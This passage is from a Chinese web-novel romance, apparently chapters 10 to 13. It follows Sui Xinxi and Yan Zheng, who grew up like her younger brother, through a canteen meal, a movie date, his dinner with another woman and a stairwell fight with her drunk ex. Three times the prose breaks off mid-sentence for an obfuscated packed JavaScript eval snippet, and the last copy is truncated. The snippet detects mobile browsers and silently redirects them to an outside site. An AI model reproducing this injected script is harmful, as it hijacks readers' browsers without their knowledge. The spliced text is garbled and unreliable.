她的眼神扫过一排排吵吵嚷嚷吃饭的人头,终于在里面的角落看到了熟悉的后脑勺。 “晏铮!”她拨开人群,过去坐下。 晏铮正低头扒拉着餐盘里的土豆烧排骨,闻声立刻抬起头。 看清是她,他的眼睛瞬间就弯了,“你怎么来了?” “下班了,过来看看你”,隋心喜把手里拎着的一个小纸袋放桌上,“喏,路上买的,你爱吃的泡芙。” “谢谢”,晏铮拆开袋子,拿出一个圆乎乎的泡芙,一口咬掉大半边,奶油沾了一点在嘴角,“好吃,还是姐记得我。” 隋心喜看着他这满足样,心里那点因为堵车而起的烦躁也散了。 她看了看他的餐盘:“怎么就吃这点?” “差不多了,我不饿”,晏铮含糊着应她,又咬了一口泡芙,腮帮子鼓鼓的。 “你这么大个子,天天动脑子,这点哪够?等着,我再给你加个鸡腿”,隋心喜起身就去打菜窗口。 回来的时候,餐盘已经堆得满满的,鸡腿、扣肉、鱼香茄子、西兰花,压得米饭都快看不见了。 晏铮看着眼前小山似的食物,又看看隋心喜那份简单的面条,无奈地笑:“你这喂猪呢?” “赶紧吃”,隋心喜把自己碗里的煎蛋夹到他盘子里,“这个也给你。” 晏铮没再推辞,低头默默吃了起来。 隋心喜一边慢悠悠吃着面,一边忍不住打量他。 这几天秋风起了,他今天穿着件普通的连帽卫衣,长长的睫毛垂着,像个特别听话的大男孩。 可她总忍不住想起李露雨拦着他的样子,以及章平的事。所以这几天她一有空,也顾不上休息,就来江大找他。 她喝了口汤,假装随意地开口:“最近,你在学校没什么事吧?” 晏铮抬起头,“没事啊,都挺好的。上课、编代码、打游戏。” 隋心喜盯着他的眼睛,追问道:“没人找你麻烦吧?” 晏铮愣了一下,随即摇头笑了,“你怎么总担心这个,我都多大了。” 隋心喜还没接话,一把洪亮的声音就插了进来。 “哟,晏铮,吃着呢?”一个高大的男生端着餐盘,几步就跨到了桌旁,毫不客气地坐在晏铮旁边的空位上。 男生剃着板寸,穿着篮球背心,胳膊肌肉结实,正是晏铮的室友张超。 隋心喜认得他,笑着打招呼:“张超啊,一起吃。” “姐姐好!”张超咧嘴一笑,露出一口白牙,“又来看晏铮啊?我说这小子最近怎么红光满面的,饭都有人送温暖了。” 晏铮用胳膊肘捅了他一下:“吃你的饭吧,话多。” 张超浑不在意,抓起一根鸡腿就啃,含糊不清地对隋心喜说:“你不知道,这小子前段时间为了章平的事,连着通宵,眼珠子熬得跟兔子似的,饭都懒得下楼吃,全靠我给他带俩包子续命。你真是他亲姐,这爱心餐来得太是时候了!” 隋心喜拿着筷子的手停在了半空。 晏铮的脸色也沉了下去,他放下筷子,看向张超,眼神锐利得像刀片:“张超,鸡腿堵不住你嘴?” 张超正啃得欢,被晏铮这么一看,噎了一下,剧烈地咳嗽起来。 他一边咳一边瞟了隋心喜一眼,又飞快地移开视线,脸都憋红了。 隋心喜的心跳得飞快。章平的事?什么事要熬通宵? 她脑子里闪过那天早上看到的热搜,那个把章平被霸凌的视频公之于众的匿名账号。 难道那个让她惺惺相惜的匿名者,就是他吗? 她看向晏铮。 晏铮却已经收起了刚才的冷冽,他转向隋心喜,语气轻松又带着点抱怨:“姐,你看他,就喜欢夸张。我前几天是陪他打游戏来着,吃饭的时候就随便应付了点。” 张超也反应过来,连忙点头如捣蒜:“对对对,打游戏,瞧我这破记性,熬夜打游戏熬迷糊了。” 但隋心喜已经没法被糊弄过去了。 晏铮的眼神变化,张超那掩饰不住的慌乱和此地无银三百两的解释,还有那句清晰的“章平的事”,都像一根根针,刺破了她心里那个“弟弟需要保护”的泡泡。 晏铮察觉到气氛不对,用膝盖顶了旁边的张超一下,“吃完了没?吃完滚去打球。” 张超如蒙大赦,赶紧把最后几口饭塞进嘴里,端起餐盘站起来。 喧闹的饭堂里,这张角落的桌子突然安静得有点过分,耳边只剩下不锈钢餐盘磕碰的声响,以及远处模糊的嘈杂。 隋心喜慢慢放下筷子,看着晏铮,开口:“我刚才都听到了,张超说你在忙章平的事,指的是那个霸凌现场的视频吗?” 晏铮用筷子有一搭没一搭地戳着盘子里已经凉了的西兰花,轻轻地“嗯”了一句。 虽然心里已经有了答案,但听到他亲口承认,隋心喜的心还是一沉,随即又涌上一股复杂的暖流。 原来那个让她觉得勇敢的匿名者,一直就在她身边,是她总担心被欺负的弟弟。 她追问道:“是你找到的?也是你发的?” 晏铮又应了一声。他看着隋心喜,眼神坦荡,“院里有几个人,平时就爱欺负人,尤其看不起章平那样的。有一次他们在楼道里堵章平,拍了段视频,发在他们那个小群里了。我知道那个群,想办法弄到了。” 隋心喜的声音有点涩,“那你为什么不告诉我?” 晏铮沉默了一下,“告诉你干嘛,让你跟着操心?我知道你也发帖了。那事儿闹那么大,你肯定也睡不好。我不想你因为我做的这些事,再多担一份心,你工作够累了。” 他的话语有着理所当然的关心。可在隋心喜听来,却透着一种疏离。一种“我的事我自己能搞定,不需要你插手”的意味。 她看着晏铮,他年轻帅气、眼神清澈,不断地与记忆里那个跟在她身后喊“姐姐”的男孩模样重叠。 可他说出的话,做的事,却让她感到陌生。 原来,不知道从什么时候开始,他已经不是那个事事需要她保护的小男孩了。 他有自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493276|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的世界,有自己的手段,有她不知道的秘密,甚至在她看不见的地方,悄然成长为一个可以保护别人、影响事件走向的力量。 她扯了扯嘴角,想笑,却发现有点困难,“所以,你长大了,开始瞒着姐姐了。” 晏铮看着她脸上那点强撑的笑意,眉头蹙了起来。 他急切道:“我不是要瞒着你,我只是不想你总把我当小孩照顾着,我不是弟弟了。” 隋心喜心口像是被什么东西撞了一下,闪过无数念头。 他嫌她管得太多了?觉得她碍事了?因为她总把他当弟弟看,他觉得烦了,所以才特意强调“不是弟弟”? 她想起那次意外的拥抱后,自己慌乱推开他时的心跳,想起最近每次靠近他时,那种莫名的不自在。 难道,他察觉到了什么?觉得尴尬了?所以现在是想强调身份,划清界限? 巨大的难堪,瞬间盖过了之前的失落。她本能地竖起了全身的尖刺,用尽全力伪装起轻松。 她笑了一声,脸上扬起一个灿烂得有些夸张的笑容,“小屁孩儿说什么胡话呢?在我这儿,你多大都是我弟弟!你吃完没有,吃完就回去学习吧。” 晏铮目光落在隋心喜刻意弯起的眉眼上,嘴唇不由地抿成一条直线。 他本想表达自己可以作为成熟男人与她对话,她却一再强调姐弟的关系。他挫败又沮丧,率先起身拿起盘子,“那我回去了。” 晏铮走了,隋心喜估摸着现在还是车流晚高峰,没着急离开。 她百无聊赖地看着饭堂里来来往往的学生,手指无意识地摸到放在桌边的手机,按亮了屏幕。 锁屏的照片跳了出来。上面有她和爸爸妈妈,三个人都笑着,坐在客厅的沙发上。 爸爸的手搭在妈妈的肩上,妈妈搂着她的肩膀。而在沙发扶手边缘,还挤着一个人,是晏铮。 那时候的晏铮真小啊,大概十一二岁,瘦瘦小小的一个,头发有点乱。 他虽然也咧着嘴在笑,但那笑容怯生生的,眼神飘着,没完全看镜头,好像随时准备缩起来。 隋心喜想起来了,这张照片是妈妈拉着他拍的。 那时候,晏铮的爸爸妈妈已经不在了,亲戚们像秃鹫一样围着那套房子转,没人真心管他。 她把他带回家里吃饭,后来就成了习惯,只要家里做了好吃的,妈妈就叫她去喊晏铮过来吃饭。 再后来,晏铮就成了家里的常客,爸妈总是说,这只是多双筷子的事。 照片就是后来一次周末聚餐拍的。 妈妈招呼着晏铮过来拍照,说都是一家人。晏铮一开始还别扭,磨磨蹭蹭地不肯动,是妈妈硬把他拉过来,按在沙发上的。 拍照的时候,他就这么小心翼翼地靠着,好像生怕自己挤着谁,又好像生怕这温暖是假的,一碰就碎。 是啊,他们是一家人。爸妈把他当半个儿子,她就是他的姐姐。 只有家人,才能一直陪着他,他的温暖才是真实的。 至于什么心跳加速,什么胡思乱想,都见鬼去吧! 她用力按灭了手机屏幕,好像这样就能把那些不该有的念头也一起关掉。 11. 第 11 章 晏铮走得很快,食堂门口的人流被他硬生生挤开一条缝。有人不满地“哎”了一声,他也没回头。 他一路冲回宿舍楼,舍友不知道去哪了。很好。 他把自己摔进床上,耳边还有隋心喜刚才哄小孩似的语气。 “弟弟长大了哦……” “无论多大都是弟弟嘛……” 弟弟、弟弟、弟弟…… 晏铮烦躁地抓了把头发,他一点也不想当弟弟。 他盯着桌子上的电脑,觉得不能再坐以待毙。 他打开搜索页面,手指放在键盘上,半天打下五个字“俘获女人心”。 这词儿打出来,他自己都觉得傻。 他又换成“如何让她不当你是弟弟”,搜索结果跳出来一堆乱七八糟的帖子,什么“姐弟恋攻略”“年下男的魅力”“如何从弟弟变男友”…… 他皱着眉点开看了几个。大部分都在扯要展现成熟稳重,要懂得照顾人,要让她看到你的能力和担当,不能太幼稚依赖,还有一些说要制造肢体接触机会,营造暧昧氛围。 成熟稳重?晏铮下意识看了眼自己身上的连帽卫衣,再看看脚上的运动鞋,好像是有点学生气。 他想起合伙人储嘉骐。他大学毕业了好几年,就从来不是这种打扮。 他爱穿挺括的衬衫,外面套件剪裁利落的夹克,或者修身的毛衫,鞋子是质感很好的休闲鞋。 他整个人往那一站,气场就不一样。隋心喜要是看到储嘉骐,肯定不会把他当弟弟。 晏铮那股不服输的劲儿上来了。他也能行。 他关掉那些攻略页面,重新在购物网站的搜索框里打字:“男士成熟外套”。 刷出来一大堆图片,他耐着性子往下翻。 第一件太老气,像隋心喜的爸爸穿的。 第二件颜色太跳,太骚包。 第三件看着还行,模特穿着挺精神。 他对照着尺寸,把几个看着顺眼的颜色都加入了购物车。 接着他又搜了“商务衬衣”“男士休闲西裤”等等,购物车里的东西转眼就堆了十几件。 晏铮对着那个不断上涨的总金额数字,心里的憋闷好像找到了一点发泄口。 他看着支付成功的提示,感觉好像买了这些衣服,他就真的能摆脱“弟弟”这个标签,成为一个能让隋心喜刮目相看的“男人”了。 一周之后,快递陆陆续续到了,晏铮挑挑拣拣,精心打扮一番,专门约了隋心喜周末出来看电影。 —————————— 离约定时间还有半个小时,晏铮就已经站在了电影院售票处的大屏幕前。 他的手指在滚动影片信息的触摸屏上划拉着,屏幕上花花绿绿的海报闪来闪去。 挑选一番后,他的目光停在了一部海报粉粉嫩嫩的爱情片《心动信号》上。 他选好座位,票很快吐了出来。 他找了个地方靠着墙等。 今天他穿了件新买的深灰色休闲衬衫,配了条合身的黑色牛仔裤和新板鞋,头发也特意打理过。他时不时掏出手机看时间,又抬头望向影院扶梯的方向,眼神里有点期待,又有点说不清的紧张。 没过多久,隋心喜也到了,她穿着件简单的米白色针织衫和牛仔裤,拎着个小包,一眼就看到了角落里的晏铮。 她脚步一顿,将晏铮从头到脚扫了一遍,心脏莫名其妙地狂跳了一下。 她赶紧吸了口气,把那股异样的感觉压下去,脸上挤出个再平常不过的笑,快步过去。 “哟,今天这么帅气,这身行头,新买的吧?不错不错,小伙子终于开窍了,知道捯饬自己了”,她话锋一转,问:“你上次不是说看上你们学院一个姑娘,要追人家吗?咋样,有进展没?是不是穿着这身去约会,把人家小姑娘迷住了?” 晏铮上次无非是为了气她而随口一说,哪里有什么姑娘。但隋心喜既然问到了,他也只能硬着头皮开口:“别提了,原来人家有男朋友,早就有了,我这就是瞎忙活。” 隋心喜心里按耐不住地冒出了喜悦的泡泡。 她努力绷着脸,不让嘴角翘得太明显,还装模作样地拍了拍晏铮的肩膀,用一种过来人劝慰小弟的口吻道:“这有啥,大学里好姑娘多着呢,咱再找一个更好的,别灰心啊弟弟。” 晏铮听着那句称呼,嘴角几不可察地往下撇了撇,闷声道:“知道了,走吧,电影快开场了。” 两人检了票,找到放映厅。晏铮侧着身子让隋心喜先进去座位,自己也挨着她坐下。 灯很快暗了下来。黑暗中,他能闻到她身上熟悉的沐浴液味道。 银幕上开始放正片,俊男美女相遇的慢镜头,加上浪漫的背景音乐。 晏铮看得还算认真,时不时用余光瞟一下旁边的人。 隋心喜刚开始还能坐直,眼睛盯着大屏幕。 可这片子有着大段文艺范儿十足的独白和风景空镜,节奏慢得要命。 她白天回去加班处理了一堆数据报表,本来就有点乏,加上对这种你侬我侬、爱来爱去的剧情实在提不起劲,眼皮子就开始打架了。 演到男女主在雨中偶遇,男主脱下西装外套为女主挡雨时,隋心喜的脑袋已经小鸡啄米似的一点一点。 她努力想撑开眼皮,但银幕上晃动的光影和轻柔的音乐像催眠曲一样。 终于,在男主深情款款地对女主表白时,她的头一歪,靠在了晏铮的肩膀上。 晏铮的身体瞬间绷紧了,一动不敢动。 他能清晰地感受到隋心喜的呼吸,颈侧还有她头发丝拂过的微痒。 周围的世界好像都消失了,只剩下肩膀上这点沉甸甸又轻飘飘的重量,还有自己震耳欲聋的心跳声。 他甚至希望这电影能再长点,长到永远不要结束才好。 可惜,美好的时光总是短暂。 电影演到后半段,剧情有了点冲突,音响声突然大了起来。 隋心喜被吓得一个激灵,猛地抬起头,人也清醒了。 她有点茫然地眨了眨眼,才反应过来自己刚才居然靠在晏铮肩膀上睡着了。 她瞬间脸热起来,幸好光线暗并不明显。 她掩饰性地捋了下头发,小声问晏铮:“电影演到哪儿了?” “演到女主发现男主骗她了,正吵架呢”,晏铮的声音听起来干巴巴的,脸上有点失落。 隋心喜含糊地应了一声,赶紧把注意力重新投向银幕,假装看得特别认真。 她其实心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501737|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱糟糟的,懊恼自己刚才怎么就睡过去了,还靠着弟弟!完了完了,姐姐的形象啊…… 好不容易熬到电影散场,灯光大亮,隋心喜几乎是逃也似地站起来往外走,晏铮跟在她后面。两个人一时都没说话,气氛有点微妙。 刚走到出口通道,两人就被一个捧着大桶红玫瑰的小姑娘拦住了。 “哥哥,给姐姐买支花吧!”小姑娘长得可爱,嘴也甜,眼睛亮晶晶地看着他们俩,显然是把他俩当成情侣了。 隋心喜被这突如其来的推销弄懵了,还没等她反应过来,晏铮的脸先悄悄红了。 他看着那一桶鲜红欲滴的玫瑰,心里升起一点点期待。她会怎么说?哪怕只是暂时默认一下…… 然而,隋心喜立马澄清道:“不不不,小妹妹你误会了,这个是我弟弟!我们就是姐弟一起看个电影!” 这些话语像盆冰水,兜头浇在晏铮刚刚燃起一点点火星的心上。 他扯了扯嘴角,想对那卖花的小姑娘笑一下,但那笑容僵在脸上,比哭还难看。 “哦……对不起”,卖花的小姑娘也尴尬了,赶紧抱着花桶走了。 两人继续沉默地往电梯那边走。 排队等电梯的时候,隋心喜有点懊恼自己刚才的嘴快。晏铮则完全沉浸在自己的挫败感里——精心策划的约会,选爱情片,打扮得人模狗样,结果呢? 他怀疑起自己做的这一切,到底有什么意义。 就在这时,一个穿着亮色连衣裙的时髦女孩凑了过来,目标明确地站到了晏铮旁边。 她的脸上挂着略带羞涩的笑容:“嗨,帅哥,不好意思打扰一下。” 晏铮和隋心喜都被这搭讪弄得一愣,同时转头看向她。 女孩把自己的手机屏幕递到晏铮面前,上面是一个微信二维码。 她眨巴着大眼睛,期待地看着晏铮,“我刚才在电影厅里就注意到你了,觉得你特别有气质。能加个微信认识一下吗?” 隋心喜看看那个漂亮女孩,又看看晏铮,心里有点说不上来的滋味。 但她立刻把这感觉压了下去,脸上迅速切换成长辈式的宽容和鼓励。 她甚至往旁边让了一小步,给那女孩腾出点空间,然后对着晏铮,状似随意道:“行啊晏铮,魅力不小嘛!人家姑娘都开口了,加呗,多认识个朋友挺好的!” 晏铮听着隋心喜那“通情达理”的话语,无处发泄的愤怒和委屈冲上头顶。 他脑子一热,掏出手机,点开微信扫一扫,“好啊。” 凌星童看着手机屏幕上跳出的好友验证提示,脸上顿时笑开了花:“谢谢帅哥,我叫凌星童!” 她还想多说点什么,但电梯正好轮到他们站的位置了。 “我们先走了”,晏铮没再看凌星童,也没看旁边的隋心喜,带着赌气的意味,一步就迈进了电梯里。 隋心喜跟着进去,站在晏铮后面。她觉得心里某个地方空了一块,冷风嗖嗖地往里灌。 她张了张嘴,想喊晏铮一声,或者问一句“你怎么真加了”,可莫名的心虚又让她发不出任何声音。 她只能沉默地看着他,看着那个曾经跟在自己身后的男孩,此刻用一道冰冷的背影隔绝了她,走进了一个与她无关的世界。 12. 第 12 章 车窗外的霓虹灯糊成一片湿漉漉的光晕,雨刷器在挡风玻璃上划出两道扇形轨迹。 车里放着电台主持人插科打诨的笑声,但隋心喜一个字也没听进去,脑子里还盘算着明天要交的项目报告。 就在这时,搁在副驾驶的手机震了起来,是个陌生号码的来电。 隋心喜皱了皱眉,这年头推销电话也忒敬业了,下大雨的晚上也不消停。 她犹豫了一下,还是腾出一只手接听,顺手连上蓝牙。 “喂?请问是隋心喜姐姐吗?”一个年轻女孩的声音透过音响传出来。 隋心喜下意识地再看了眼屏幕,“隋姐姐”这种称呼,除了晏铮那小子身边的人,几乎没人这么叫。 她放缓了语气:“我是。你哪位?” “啊,隋姐姐你好,我是凌星童!”女孩的声音明显雀跃起来,“就是上次在电影院门口,跟晏铮加了微信那个,你还记得吗?” 隋心喜握着方向盘的手指蜷缩了一下,不知道这小姑娘怎么有她的电话,更不知道找她干什么。 她“哦”了一声,问:“你有什么事吗?” 凌星童不好意思地笑笑:“是晏铮给我的号码,他说有事可以问你。” 她顿了一下,继续道:“是这样的,我想约晏铮这周末出来玩,地方都看好了,先去新开的卡丁车馆,再吃饭。结果我微信上问他,他一开始说考虑考虑,后来又说得先问过你同意……所以我就冒昧给你打电话了。隋姐姐,晏铮他周末有空吗?方不方便出来呀?” 隋心喜的心往下沉了沉。晏铮在搞什么鬼? 他连霸凌视频的证据都能神不知鬼不觉地搞到发布出去,会因为要不要跟一个漂亮小姑娘约会这种事,来先征得她同意? 这不合逻辑。 除非是他对这个凌星童没兴趣,不想去,又不好直接拒绝人家,所以就把她这个“家长”推出来当恶人。 隋心喜一时半会也不确定晏铮怎么想的,只能对着凌星童打哈哈,“这样吧小凌,我先问问晏铮什么情况,再让他回复你行不?省得你这边干等着。” “哦哦,好的好的,谢谢隋姐姐了!”凌星童听起来有点小失望,但还是乖巧地听从安排。 隋心喜盯着前方缓慢蠕动的红色尾灯,又拨通了晏铮的号码。 —————————— 男生宿舍里,晏铮刚洗完澡出来,他坐回自己的桌前,开了瓶冰可乐,电脑屏幕上是密密麻麻的代码。 斜对床的张超正盘腿坐在椅子上,唾沫横飞地跟隔壁床的纪然吹水:“我跟你说,现在流行什么男友?钓系,懂不懂?” 纪然一边刷短视频一边敷衍:“啥玩意儿?钓鱼的?” “啧,土鳖!”张超鄙视地看了他一眼,“钓系男友,就是对喜欢的女的,不能太上赶着。你得端着点,玩若即若离,激起她的探索欲,让她反过来琢磨你!你看那些偶像剧里女的,不都吃这套?” 晏铮握着可乐瓶的手顿了顿,耳朵不自觉地竖了起来。他慢悠悠地喝了口冰凉的液体,脑子里转着张超的话。 就在这时,他的手机响了,屏幕上跳动着一个“姐”字。 晏铮眼睛一亮,立刻就接了起来,却又想起张超说的,慢慢道:“怎么了,姐?” 隋心喜问:“在学习吗?” 晏铮瞥了一眼屏幕上的代码,故意把键盘敲得噼里啪啦响,“嗯,有点小问题卡住了,在查。” 隋心喜顺着他说了一句“学习要紧”,还是切入了正题,“那个凌星童给我打电话了。她说想约你周末去玩卡丁车,结果你说得先问过我?” 晏铮心里暗笑,语气带上了困扰:“她确实是给我发消息了,我和她聊了几天,感觉她挺活泼。不过她突然说要约会……我长这么大,还真没单独跟其他异性出去过。我不知道该怎么相处啊,万一冷场了多尴尬。我实在没想好怎么回她,才说得问问你意见。” 隋心喜在电话那头沉默了。 她明明有和晏铮经常出去看电影吃饭,但在他眼里,那是再自然不过的“姐弟”相处,根本没算进“和异性单独约会”的范畴。 难以言喻的酸涩感从心底涌上来,弥漫到喉咙口,堵得她呼吸不畅。 车窗外的雨似乎更大了,噼里啪啦地砸在车顶上,声音沉闷又密集。 原来,七岁的差距,在晏铮心里划下了这么清晰的一条线。 那条线之外,是青春洋溢、需要他紧张面对的同龄女孩。 而线之内,是她这个可以被依赖,却永远不会让他产生约会感的姐姐。 她深吸了一口气,努力压下翻涌的情绪。 她加快语速,像是在说服晏铮,又是在说服自己:“嗐,我当什么事呢!这有什么好发怵的,人家小姑娘主动约你,说明对你有好感啊!年轻人嘛,就该多接触接触同龄人,喜欢就处处,不喜欢就当普通朋友呗。别想太多,大胆去啊!” 听着她鼓励的话语,晏铮的呼吸滞了一瞬。 她又是连一点点的阻拦都没有,就这么大方地把他往外推? 巨大的失望和被背叛感淹没了他,张超那些狗屁“钓系策略”在他脑子里碎成了渣。 他几乎要对着电话吼出真实想法,但残存的理智死死地压住了咆哮的冲动。 他急促地喘了口气,咬着后槽牙,再次开口:“可是,我真的不知道该怎么办,我从来没经验,去了肯定会搞砸!” 他顿了顿,抛出一个近乎无理的要求,“要不这样,你偷偷跟着我们,就远远地看着。万一我哪里做得不对,或者冷场了,你立马给我发消息指点一下。” 他做好了被隋心喜劈头盖脸骂一顿的准备,然后顺势推掉凌星童的约会。 可没想到,隋心喜在短暂的沉默后,居然说:“好啊。” 晏铮坐直了身体,眼睛瞪大,怀疑自己是不是幻听了。 隋心喜听他不吭声,再次道:“你把约会的地点发给我就行,我保证不打扰你们。你有什么搞不定的,就给我发信息。” 晏铮彻底懵了。 他所有的精心算计,所有的伪装试探,在隋心喜那堵名为“姐姐”的铜墙铁壁面前,是那么的滑稽。 他感觉自己像个傻子,只好生硬地从牙缝里挤出一个“行”字,然后挂断了电话。 他将手机重重地拍在桌面上,眼神阴沉得吓人,宿舍里瞬间只剩下张超和纪然那边传来的游戏音效。 张超感觉到了这边的低气压,扭头瞥了他一眼,立刻识趣地把后面那句“钓系男友牛逼不”给咽了回去。 —————————— 隋心喜收到晏铮发来的位置共享时,刚结束周末回单位的加班。 她盯着“金岸西餐厅”几个字,手指悬在屏幕上方,半天没动。 她在电脑前坐下,点开邮箱,强迫自己去看新收到的测试用例反馈文档。文字都在眼前跳动,却一个字也钻不进脑子。 凌星童那张活泼明丽的脸总在眼前晃,她和晏铮站在一起,怎么看怎么登对。 她坐不下去了,收拾东西,刷卡下楼。 车子汇入车流,直行是回家的路,往右转穿过三个街区,就是晏铮发过来的定位。 她握着方向盘,在路口绿灯亮起的刹那,还是鬼使神差地拨了右转向灯。 “这附近新开了家面包店,听说碱水包不错”,她低声自言自语,像是给自己找个台阶。 车子随着车流往前蹭,金岸西餐厅那醒目的复古霓虹招牌越来越近。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“晏铮?”凌星童看着他盘子里被切得乱七八糟却没吃几口的食物,问:“你有在听吗?还是牛排不合胃口?” 晏铮说了句抱歉,放下刀叉,端起水杯喝了一口,“这里东西味道很好,只是这几天考试有点多,胃口不太好。” 他努力把注意力集中在凌星童身上,回应着她的话题,问些关于她比赛项目的细节。 凌星童很健谈,思维也活跃,是个很好的约会对象。 但晏铮发现自己控制不了自己的眼睛,每隔几分钟,他的视线总会飘到街上。 他不知道,隋心喜会不会觉得,他和凌星童的谈笑风生有点碍眼?还是说,她根本就不在乎? 这种心不在焉的状态持续了大半个晚餐。凌星童顺着晏铮又一次飘向外面的目光看过去,只看到一辆停在路边的普通越野车和来往的车流。 她的笑容依旧明媚,话语却很直接,“晏铮,外面有什么特别吸引你的东西吗?我看你看了好几次了。” 晏铮收回目光,“没什么,可能刚才看到个熟人,也可能看错了。” 凌星童若有所思地看着他,气氛微妙地沉默了几秒。她说:“其实,我挺好奇一件事。” 晏铮打起精神应对,“嗯?你说。” “今天和你一起,感觉挺有意思的。你思维清晰,对很多事情的看法很有主见。所以,我有点不明白,像要不要跟我约会这种事,你自己完全就能决定吧?为什么会需要去问隋心喜姐姐的意见呢?” 凌星童歪了歪头,似笑非笑:“你和她感情特别特别好?还是说,你对她,有别的想法?” 晏铮抬起眼,迎上凌星童的目光。 他脸上那些刻意维持的礼貌微笑不见了,取而代之的是平静的坦荡。 他扯了扯嘴角,有点自嘲,又仿佛她的问题本身,就已经是答案。 13. 第 13 章 凌星童站在西餐厅门口,对晏铮笑了笑:“今天真谢谢你啊,陪我吃饭,还听我絮叨了那么久。” 晏铮双手插在裤兜里,不断瞄向街对面的越野车,对着凌星童心不在焉地应了一声。 凌星童犹豫了一下,还是开口:“我家离这儿走路就十五分钟,不过现在天黑了,路灯也不太亮,你能送我一下吗?” 晏铮最烦这种黏黏糊糊的拉扯,他巴不得立刻过去敲隋心喜的车窗,哪有心思送人。 他张嘴就要拒绝,但又想着隋心喜在车里看着呢,自己要是表现得太恶劣,会不会让她觉得他更不成熟? 算了,送就送吧,赶紧完事。 他无奈答应:“行吧。” 凌星童明显松了口气,“谢谢!太谢谢你了!” 两人沿着人行道走,晏铮腿长步子大,走得有点快,凌星童跟得吃力,一直小跑追在后面。 终于到了一个旧式小区门口,里面有几栋六层居民楼,楼下杂乱地停着自行车和电动车。 凌星童在其中一栋前面停下,楼道里灯光昏暗,“我到了。” 晏铮“嗯”了一声,“那你上去吧。” 凌星童道了谢,转身上楼。 晏铮也准备离开,可还没走远,楼上就传来了凌星童的惊呼声。 那声音在寂静的夜里尤其刺耳,带着无助和恐惧。 晏铮没有多想,扭头就跑回了楼梯口。他两三步并作一步往上冲,心跳加速。 此刻的凌星童正背部贴着自家铁门,手里攥着钥匙,脸色苍白地看着堵在她面前的男人。 那人个子不算高,但很壮实。他手里拎着个空了一半的啤酒瓶,身上的酒气隔着几米远都能闻到。 他对着凌星童破口大骂,唾沫星子乱飞:“臭婊子,老子等你老半天了!电话不接,信息不回,躲老子是吧?说,屋里是不是藏了野男人?” 凌星童嘴唇哆嗦着,一个字都说不出来。她看到晏铮冲上来,像抓住了救命稻草,眼睛一亮。 范波也察觉到了动静。他醉醺醺地扭过头,瞪着晏铮,上下打量:“操!还真他妈藏了个小白脸!” 晏铮站在楼梯口,没管范波,先问凌星童:“没事吧?” 凌星童拼命摇头,眼泪唰地就下来了。 范波见晏铮不理他,更火了,摇摇晃晃地往前逼近一步,啤酒瓶指着晏铮,“你他妈谁啊?是不是睡了我女人?” “范波你胡说八道什么,我早就和你没关系了!”凌星童哭着将晏铮扯到自己身边,“这才是我男朋友!你敢动我一下,你看他会不会放过你?” 话音未落,她忽然踮起脚,在晏铮毫无防备的情况下,一下亲在了他的脸颊。 晏铮瞬间僵住了,整个人泛起强烈的恶心感。 范波脑子里的酒精也被怒火点着了,“操!你果然是个□□,当着老子的面就敢勾引野男人!老子今天非弄死你们这对狗男女!” 他抡起手里的啤酒瓶,不管不顾,带着风声就朝晏铮的脑袋砸了下来! 晏铮瞳孔一缩。那点酒疯子的速度,在他眼里根本不够看。 心底压抑了一晚上的烦躁,和此刻被强行卷入麻烦的怒火,如同找到了一个宣泄口。 他没有后退,反而上前一脚,结结实实地踹在范波的肚子上。 范波惨叫一声,整个人像被抽掉了筋,酒瓶脱手飞出,哐当一声砸在旁边墙上。 他捂着肚子,痛苦地弯下腰,脸憋得通红,接着吐了出来。 晏铮皱着眉看着范波,摸出手机问凌星童,“报警?” 凌星童眼里既有害怕也有恶心,最后还是摇摇头:“算了,他喝了酒,疯狗一样,报了更麻烦。” 范波喘着粗气,挣扎着想站直,嘴里还在骂:“操你大爷……你等着……狗男女……” 晏铮忽略掉这些脏话,居高临下地看着范波,眼神冷飕飕的,“滚!再让我看见你缠着她,下次踹的就不是肚子了!” 范波对上晏铮那张没有温度的俊脸,心里一哆嗦,酒好像醒了大半。 他恶狠狠地瞪着两人,终究没再放狠话,扶着扶手往下走了。 楼道里安静下来,只有凌星童压抑的抽泣声。 过了一会,她抹了把脸,带着哽咽对晏铮道:“真的谢谢你!刚才要不是你……我……” 晏铮还很不爽刚才被凌星童强行亲的那下。 他拿出手机,点开微信,操作几下,显示着删除好友的确认界面。 他告诉凌星童:“这事完了,以后别找我,别打电话,别加微信。有事你就报警或者找别人。” 凌星童看他那拒人于千里之外的动作,脸上的感激一下子僵住了。 晏铮没理,直接点了删除,把手机揣回兜里。 他转身就要下楼,凌星童却又叫住他。 晏铮不耐烦地停下,回头看她,“你还有事?” 凌星童指了指下楼的楼梯,有点不确定:“我刚才好像看到你姐了。” “什么?”晏铮脑子嗡地一声,最担心的事情成了现实。 隋心喜看见凌星童亲他了,还看见他为凌星童打架了,她会怎么想?会不会觉得他跟凌星童真有事?会不会把他推得更远? 晏铮一口气跑出单元门,视线扫过旁边的矮冬青树丛,扫过不远处的垃圾桶,再扫到通往小区门口的小道,都不见隋心喜的身影。 他骂了一声,摸出手机找到隋心喜的号码,拨了过去。 